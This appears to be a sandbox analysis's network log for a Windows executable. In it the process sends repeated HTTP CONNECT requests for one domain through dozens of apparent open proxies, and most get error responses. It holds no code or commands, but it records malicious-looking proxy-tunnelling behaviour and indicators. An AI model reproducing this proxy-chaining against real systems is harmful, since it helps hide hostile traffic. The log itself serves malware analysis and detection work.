Mar 11, 2024 15:21:07.540648937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.833401918 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1184	192.168.2.9	52225	156.67.214.232	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.547175884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.591022015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.650270939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.296200991 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Mar 11, 2024 15:21:17.296228886 CET	294	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1185	192.168.2.9	53795	47.243.205.1	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.625786066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1186	192.168.2.9	53806	158.255.215.50	11857	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.625905991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.921473026 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1187	192.168.2.9	53895	181.143.61.123	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.626501083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1188	192.168.2.9	53984	185.238.228.202	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.626740932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.781403065 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1189	192.168.2.9	53995	104.27.66.31	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.627070904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.781574965 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1190	192.168.2.9	52390	192.169.226.96	50578	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.627516031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.700300932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.760174990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.779804945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.821547031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1191	192.168.2.9	53807	58.234.116.197	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.627595901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1192	192.168.2.9	54000	104.17.248.164	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.628123999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.796756029 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1193	192.168.2.9	53749	103.163.51.254	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.628792048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1194	192.168.2.9	53234	202.40.181.220	31247	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.629220963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1195	192.168.2.9	53861	167.172.100.244	11562	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.629831076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.325517893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.325826883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1196	192.168.2.9	53784	113.125.82.11	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.637670994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.012171030 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1197	192.168.2.9	54014	199.188.93.163	9000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.652635098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1198	192.168.2.9	53909	121.182.138.71	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.655875921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.957021952 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1199	192.168.2.9	53883	121.66.198.76	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.655879021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1200	192.168.2.9	54023	104.16.105.207	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.656404018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.810806036 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1201	192.168.2.9	53956	192.252.216.81	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.656961918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1202	192.168.2.9	53937	211.196.195.46	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.657145023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1203	192.168.2.9	52272	67.205.177.122	21108	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.663117886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.700404882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.760170937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.779802084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.821572065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:43.825046062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:55.840605974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:19.840596914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1204	192.168.2.9	53860	216.9.224.113	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.663117886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1205	192.168.2.9	54049	104.16.105.106	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.664060116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
